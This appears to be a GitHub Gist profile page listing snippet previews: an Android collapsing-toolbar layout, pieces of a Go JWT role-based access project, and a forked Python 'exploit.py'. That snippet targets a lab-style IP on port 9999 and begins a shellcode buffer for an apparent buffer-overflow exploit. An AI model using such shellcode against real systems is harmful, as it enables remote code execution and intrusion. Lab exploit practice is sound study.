Skip to content

Instantly share code, notes, and snippets.

@bensonmacharia
bensonmacharia / collapsingtoolbarlayout.xml
Created August 11, 2016 06:02
How to hide toolbar after collapsing while recyclerView scrolling down
<android.support.design.widget.CoordinatorLayout
android:id="@+id/careers_coordinator_layout"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:fitsSystemWindows="true"
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
tools:context=".activity.CareersActivity"
xmlns:tools="http://schemas.android.com/tools">
@bensonmacharia
bensonmacharia / exploit.py
Created April 21, 2021 20:41 — forked from trevorsaudi/exploit.py
final exploit
import socket
from struct import pack
# bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "10.10.255.160"
PORT = 9999
buf = b""
buf += b"\xdb\xd4\xba\x70\xb3\xd8\x55\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x83\xc3\x04\x31\x53\x13\x03\x23\xa0\x3a"
buf += b"\xa0\x3f\x2e\x38\x4b\xbf\xaf\x5d\xc5\x5a\x9e\x5d\xb1"
// replace values inside <<>> with your custom values
# Database credentials
DB_HOST="localhost"
DB_DRIVER=mysql
DB_USER="<<DB_USER>>"
DB_PASSWORD="<<DB_PASSWORD>>"
DB_NAME="jwt_go_rbac"
DB_PORT="3306"
# Default Admin User
package database
import (
"fmt"
"log"
"os"
"gorm.io/driver/mysql"
"gorm.io/gorm"
)
package main
// load required packages
import (
"bmacharia/jwt-go-rbac/database"
"fmt"
"log"
"github.com/gin-gonic/gin"
"github.com/joho/godotenv"
package model
import (
"bmacharia/jwt-go-rbac/database"
"html"
"strings"
"golang.org/x/crypto/bcrypt"
"gorm.io/gorm"
)
package model
import (
"bmacharia/jwt-go-rbac/database"
"gorm.io/gorm"
)
// Role model
type Role struct {
package model
type Register struct {
Username string `json:"username" binding:"required"`
Email string `json:"email" binding:"required"`
Password string `json:"password" binding:"required"`
}
package model
type Login struct {
Username string `json:"username" binding:"required"`
Password string `json:"password" binding:"required"`
}
package model
type Update struct {
Username string `json:"username" binding:"required"`
Email string `json:"email" binding:"required"`
RoleID uint `gorm:"not null" json:"role_id"`
}